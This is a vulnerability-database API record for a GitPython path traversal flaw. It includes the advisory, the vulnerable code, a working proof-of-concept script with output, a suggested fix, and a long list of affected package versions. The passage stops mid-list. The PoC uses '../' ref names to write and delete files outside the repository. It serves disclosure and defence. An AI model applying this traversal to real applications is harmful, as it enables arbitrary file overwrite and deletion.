{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/95144?format=json","vulnerability_id":"VCID-k41z-2bwv-fbc9","summary":"GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository\n## 🧾 Summary\n\nA vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n## 📦 Affected Versions\n\n* Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout)\n\n---\n\n## 🧠 Details\n\n### Vulnerability Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion**\n\n---\n\n### Root Cause\n\nReference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.\n\n---\n\n### Affected Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n    ...\n    fpath = self.abspath\n    assure_directory_exists(fpath, is_file=True)\n\n    lfd = LockedFD(fpath)\n    fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@classmethod\ndef delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n        os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path, force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path, new_abs_path)\n```\n\n---\n\n### Attack Vector\n\n**Local attack through application-controlled input passed into GitPython reference APIs**\n\n### Authentication Required\n\n**None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n## 🧪 Proof of Concept\n\n### Setup\n\n```bash\npip install GitPython==3.1.46\npython poc.py\n```\n\n---\n\n### Exploit\n\n```python\nimport shutil\nfrom pathlib import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif base.exists():\n    shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write  = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo, \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+] outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo, \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after delete:\", outside_delete.exists())\n```\n\n---\n\n### Result\n\n```text\nrepo_dir       = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+] outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete exists after delete: False\n```\n\n---\n\n## 💥 Impact\n\n### What can an attacker do?\n\n* Create or overwrite files outside the repository metadata directory\n* Delete attacker-chosen files reachable from the process permissions\n* Corrupt application state or configuration files\n* Cause denial of service by deleting or overwriting important files\n\n---\n\n### Security Impact\n\n* **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n### Who is affected?\n\n* Applications that expose GitPython reference operations to user-controlled input\n* Git automation services, repository management backends, CI/CD helpers, and developer platforms\n* Multi-user environments where one user can influence ref names processed on behalf of another workflow\n\n---\n\n## 🛠️ Mitigation / Fix\n\n### Recommended Fix\n\n```python\ndef _validate_ref_write_path(repo, path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n    target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n        raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n    return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo, full_ref_path)\n```","aliases":[{"alias":"CVE-2026-44243"},{"alias":"GHSA-7545-fcxq-7j24"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/195740?format=json","purl":"pkg:deb/debian/python-git@3.1.50-1","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-git@3.1.50-1"},{"url":"http://public2.vulnerablecode.io/api/packages/125021?format=json","purl":"pkg:deb/debian/python-git@3.1.50-1?distro=trixie","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-git@3.1.50-1%3Fdistro=trixie"},{"url":"http://public2.vulnerablecode.io/api/packages/118806?format=json","purl":"pkg:pypi/gitpython@3.1.48","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.48"}],"affected_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/195737?format=json","purl":"pkg:deb/debian/python-git@3.1.14-1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-git@3.1.14-1"},{"url":"http://public2.vulnerablecode.io/api/packages/125019?format=json","purl":"pkg:deb/debian/python-git@3.1.14-1?distro=trixie","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-git@3.1.14-1%3Fdistro=trixie"},{"url":"http://public2.vulnerablecode.io/api/packages/195738?format=json","purl":"pkg:deb/debian/python-git@3.1.30-1%2Bdeb12u2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-git@3.1.30-1%252Bdeb12u2"},{"url":"http://public2.vulnerablecode.io/api/packages/125017?format=json","purl":"pkg:deb/debian/python-git@3.1.30-1%2Bdeb12u2?distro=trixie","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-git@3.1.30-1%252Bdeb12u2%3Fdistro=trixie"},{"url":"http://public2.vulnerablecode.io/api/packages/195739?format=json","purl":"pkg:deb/debian/python-git@3.1.44-1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-git@3.1.44-1"},{"url":"http://public2.vulnerablecode.io/api/packages/125022?format=json","purl":"pkg:deb/debian/python-git@3.1.44-1?distro=trixie","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:deb/debian/python-git@3.1.44-1%3Fdistro=trixie"},{"url":"http://public2.vulnerablecode.io/api/packages/29944?format=json","purl":"pkg:pypi/gitpython@0.1.7","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.1.7"},{"url":"http://public2.vulnerablecode.io/api/packages/624477?format=json","purl":"pkg:pypi/gitpython@0.2.0-beta1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.2.0-beta1"},{"url":"http://public2.vulnerablecode.io/api/packages/624478?format=json","purl":"pkg:pypi/gitpython@0.3.0-beta1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.0-beta1"},{"url":"http://public2.vulnerablecode.io/api/packages/624479?format=json","purl":"pkg:pypi/gitpython@0.3.0-beta2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.0-beta2"},{"url":"http://public2.vulnerablecode.io/api/packages/624480?format=json","purl":"pkg:pypi/gitpython@0.3.1-beta2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.1-beta2"},{"url":"http://public2.vulnerablecode.io/api/packages/624481?format=json","purl":"pkg:pypi/gitpython@0.3.2.RC1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.2.RC1"},{"url":"http://public2.vulnerablecode.io/api/packages/29950?format=json","purl":"pkg:pypi/gitpython@0.3.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.2"},{"url":"http://public2.vulnerablecode.io/api/packages/29951?format=json","purl":"pkg:pypi/gitpython@0.3.2.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.2.1"},{"url":"http://public2.vulnerablecode.io/api/packages/29952?format=json","purl":"pkg:pypi/gitpython@0.3.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.3"},{"url":"http://public2.vulnerablecode.io/api/packages/29953?format=json","purl":"pkg:pypi/gitpython@0.3.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.4"},{"url":"http://public2.vulnerablecode.io/api/packages/29954?format=json","purl":"pkg:pypi/gitpython@0.3.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.5"},{"url":"http://public2.vulnerablecode.io/api/packages/29955?format=json","purl":"pkg:pypi/gitpython@0.3.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.6"},{"url":"http://public2.vulnerablecode.io/api/packages/29956?format=json","purl":"pkg:pypi/gitpython@0.3.7","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@0.3.7"},{"url":"http://public2.vulnerablecode.io/api/packages/29957?format=json","purl":"pkg:pypi/gitpython@1.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@1.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/29958?format=json","purl":"pkg:pypi/gitpython@1.0.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@1.0.1"},{"url":"http://public2.vulnerablecode.io/api/packages/29959?format=json","purl":"pkg:pypi/gitpython@1.0.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@1.0.2"},{"url":"http://public2.vulnerablecode.io/api/packages/29960?format=json","purl":"pkg:pypi/gitpython@2.0.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.0"},{"url":"http://public2.vulnerablecode.io/api/packages/29961?format=json","purl":"pkg:pypi/gitpython@2.0.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.1"},{"url":"http://public2.vulnerablecode.io/api/packages/29962?format=json","purl":"pkg:pypi/gitpython@2.0.2","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.2"},{"url":"http://public2.vulnerablecode.io/api/packages/29963?format=json","purl":"pkg:pypi/gitpython@2.0.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.3"},{"url":"http://public2.vulnerablecode.io/api/packages/29964?format=json","purl":"pkg:pypi/gitpython@2.0.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.4"},{"url":"http://public2.vulnerablecode.io/api/packages/29965?format=json","purl":"pkg:pypi/gitpython@2.0.5","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.5"},{"url":"http://public2.vulnerablecode.io/api/packages/29966?format=json","purl":"pkg:pypi/gitpython@2.0.6","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.6"},{"url":"http://public2.vulnerablecode.io/api/packages/29967?format=json","purl":"pkg:pypi/gitpython@2.0.7","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.7"},{"url":"http://public2.vulnerablecode.io/api/packages/29968?format=json","purl":"pkg:pypi/gitpython@2.0.8","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.8"},{"url":"http://public2.vulnerablecode.io/api/packages/29969?format=json","purl":"pkg:pypi/gitpython@2.0.9.dev0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.9.dev0"},{"url":"http://public2.vulnerablecode.io/api/packages/29970?format=json","purl":"pkg:pypi/gitpython@2.0.9.dev1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@2.0.9.dev1"},{"url":"http://public2.vulnerablecode.io/api/packages/29971?format=json","purl":"pkg:pypi/gitpython@2.0.9","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p